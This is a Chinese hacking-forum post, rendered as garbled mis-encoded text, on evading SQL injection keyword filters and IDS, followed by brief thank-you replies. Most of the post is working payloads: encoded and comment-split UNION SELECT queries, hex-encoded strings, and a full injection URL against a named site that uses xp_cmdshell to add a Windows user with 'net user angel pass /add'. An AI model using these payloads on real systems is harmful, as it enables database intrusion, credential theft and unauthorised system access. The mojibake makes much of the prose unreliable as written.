·¢Ð»°Ìâ
´òÓ¡

×¢ÈëÏÞÖÆÈÆ¹ý

×¢ÈëÏÞÖÆÈÆ¹ý

ͻȻÏëÎÒÃÇÊÇ·ñ¿ÉÒÔÓÃʲô·½·¨ÈƹýSQL×¢ÈëµÄÏÞÖÆÄØ£¿µ½ÍøÉÏ¿¼²ìÁËһϣ¬Ìáµ½µÄ·½·¨´ó¶à¶¼ÊÇÕë¶ÔANDÓë¡°¡¯¡±ºÅºÍ¡°=¡±ºÅ¹ýÂ˵ÄÍ»ÆÆ£¬ËäÈ»ÓÐµã½ø²½µÄµØ·½£¬µ«»¹ÊÇÓÐһЩ¹Ø¼ü×ÖûÓÐÈÆ¹ý£¬ÓÉÓÚÎÒ²»³£ÈëÇÖÍøÕ¾ËùÒÔÒ²²»¸Ò¶ÔÉÏÊö¹ýÂ˵ÄЧ¹û½øÐÐÆÀÂÛ£¬µ«ÊÇ¿ÉÒԿ϶¨µÄÊÇ£¬Ð§¹û²»»áºÜºÃ¡­¡­  

¾­¹ýÎÒµÄÊÕ¼¯£¬´ó²¿·ÖµÄ·À×¢Èë³ÌÐò¶¼¹ýÂËÁËÒÔϹؼü×Ö£º  

and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =  

¶øÕâÀï×îÄÑ´¦ÀíµÄ¾ÍÊÇselectÕâ¸ö¹Ø¼ü×ÖÁË£¬ÄÇôÎÒÃÇÔõÑùÀ´Í»ÆÆËûÃÇÄØ£¿ÎÊÌâËäδÍêÈ«½â¾ö£¬µ«»¹ÊÇ˵³öÀ´Óë´ó¼Ò·ÖÏíһϣ¬Ï£ÍûÄÜÅ×שÒýÓñ¡£  

¶ÔÓڹؼü×ֵĹýÂË£¬ÒÔÏÂÊÇÎÒÊÕ¼¯µÄÒÔ¼°ÎÒ¸öÈ˵ÄһЩÏë·¨¡£  

1¡¢ÔËÓñàÂë¼¼ÊõÈÆ¹ý  

ÈçURLEncode±àÂ룬ASCII±àÂëÈÆ¹ý¡£ÀýÈçor 1=1¼´

%6f%72%20%31%3d%31£¬¶øTestÒ²¿ÉÒÔΪCHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)¡£


2¡¢Í¨¹ý¿Õ¸ñÈÆ¹ý  

ÈçÁ½¸ö¿Õ¸ñ´úÌæÒ»¸ö¿Õ¸ñ£¬ÓÃTab´úÌæ¿Õ¸ñµÈ£¬»òÕßɾ³ýËùÓпոñ£¬Èç

or¡¯ swords¡¯ =¡®swords¡¯  
£¬ÓÉÓÚmssqlµÄËÉÉ¢ÐÔ£¬ÎÒÃÇ¿ÉÒÔ°Ñor ¡¯swords¡¯ Ö®¼äµÄ¿Õ¸ñÈ¥µô£¬²¢²»Ó°ÏìÔËÐС£  

3¡¢ÔËÓÃ×Ö·û´®ÅжϴúÌæ  

Óþ­µäµÄor 1=1ÅжÏÈÆ¹ý,Èç

or ¡¯swords¡¯ =¡¯swords¡¯
£¬Õâ¸ö·½·¨¾ÍÊÇÍøÉÏÔÚÌÖÂ۵ġ£  

4¡¢Í¨¹ýÀàÐÍת»»ÐÞÊηûNÈÆ¹ý  

¿ÉÒÔ˵ÕâÊÇÒ»¸ö²»´íµÄÏë·¨£¬Ëû³ýÁËÄÜÔÚijÖ̶ֳÈÉÏÈÆ¹ýÏÞÖÆ£¬¶øÇÒ»¹ÓбðµÄ×÷Ó㬴ó¼Ò×Ô¼ººÃºÃÏëÏë°É¡£¹ØÓÚÀûÓã¬Èçor ¡¯swords¡¯ = N¡¯ swords¡¯ £¬´óдµÄN¸æËßmssql server ×Ö·û´®×÷ΪnvarcharÀàÐÍ£¬ËüÆðµ½ÀàÐÍת»»µÄ×÷Ó㬲¢²»Ó°Ïì×¢ÉäÓï¾ä±¾Éí£¬µ«ÊÇ¿ÉÒԱܹý»ùÓÚ֪ʶµÄģʽƥÅäIDS¡£  

5¡¢Í¨¹ý+ºÅ²ð½â×Ö·û´®Èƹý  

Ч¹ûÖµµÃ¿¼Ö¤£¬µ«±Ï¾¹ÊÇÒ»ÖÖ·½·¨¡£Èç  

or ¡¯swords¡¯ =¡®sw¡¯ +¡¯ ords¡¯ £»EXEC(¡®IN¡¯ +¡¯ SERT INTO ¡¯+¡¯ ¡­..¡¯ )  


6¡¢Í¨¹ýLIKEÈÆ¹ý  

ÒÔǰÔõô¾ÍûÏëµ½ÄØ£¿Èçor  

¡¯swords¡¯ LIKE ¡¯sw¡¯
£¡£¡£¡ÏÔÈ»¿ÉÒÔºÜÇáËɵÄÈÆ¹ý

¡°=¡±¡°>¡±
µÄÏÞÖÆ¡­¡­  

7¡¢Í¨¹ýINÈÆ¹ý  

ÓëÉÏÃæµÄLIKEµÄ˼·²î²»¶à,Èç

or ¡¯swords¡¯ IN (¡¯swords¡¯)  


8¡¢Í¨¹ýBETWEENÈÆ¹ý  

Èç

or ¡¯swords¡¯ BETWEEN ¡¯rw¡¯ AND ¡¯tw¡¯  


9¡¢Í¨¹ý>»òÕß<ÈÆ¹ý  

or ¡¯swords¡¯ > ¡¯sw¡¯  
or ¡¯swords¡¯ < ¡¯tw¡¯  
or 1<3  

¡­¡­  

10¡¢ÔËÓÃ×¢ÊÍÓï¾äÈÆ¹ý  

ÓÃ/**/´úÌæ¿Õ¸ñ£¬È磺

UNION /**/ Select /**/user£¬pwd£¬from tbluser  


ÓÃ/**/·Ö¸îÃô¸Ð´Ê£¬È磺

U/**/ NION /**/ SE/**/ LECT /**/user£¬pwd from tbluser  


11¡¢ÓÃHEXÈÆ¹ý£¬Ò»°ãµÄIDS¶¼ÎÞ·¨¼ì²â³öÀ´  

0x730079007300610064006D0069006E00 =hex(sysadmin)  
0x640062005F006F0077006E0065007200 =hex(db_owner)  

ÁíÍ⣬¹ØÓÚͨÓõãµÄ¹ýÂË·½·¨£¬ÎÒÃÇ¿ÉÒÔ¿¼ÂDzÉÓø³ÖµµÄ·½·¨£¬ÀýÈçÏÈÉùÃ÷Ò»¸ö±äÁ¿a£¬È»ºó°ÑÎÒÃǵÄÖ¸Áֵ¸øa£¬È»ºóµ÷ÓñäÁ¿a×îÖÕÖ´ÐÐÎÒÃÇÊäÈëµÄÃüÁî¡£±äÁ¿a¿ÉÒÔÊÇÈκÎÃüÁî¡£ÈçÏ£º  

¡¡¡¡declare @a sysname  
¡¡¡¡select @a=  
¡¡¡¡exec master.dbo.xp_cmdshell @a  

Ч¹û

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% 20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--  


ÆäÖеĠ 

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
¾ÍÊÇ

¡°net user angel pass /add¡±
µÄÒâ˼¡£

TOP

Õâô¸´ÔÓ£¬Ê²Ã´Ò²¿´²»¶®,ÎÒ»¹ÒªÑ§Ï°Ñ½

TOP

Ö§³ÖÖ§³Ö

Ìáʾ: ×÷Õß±»½ûÖ¹»òɾ³ý ÄÚÈÝ×Ô¶¯ÆÁ±Î

TOP

¸Ðл·ÖÏí£¬

TOP

·¢Ð»°Ìâ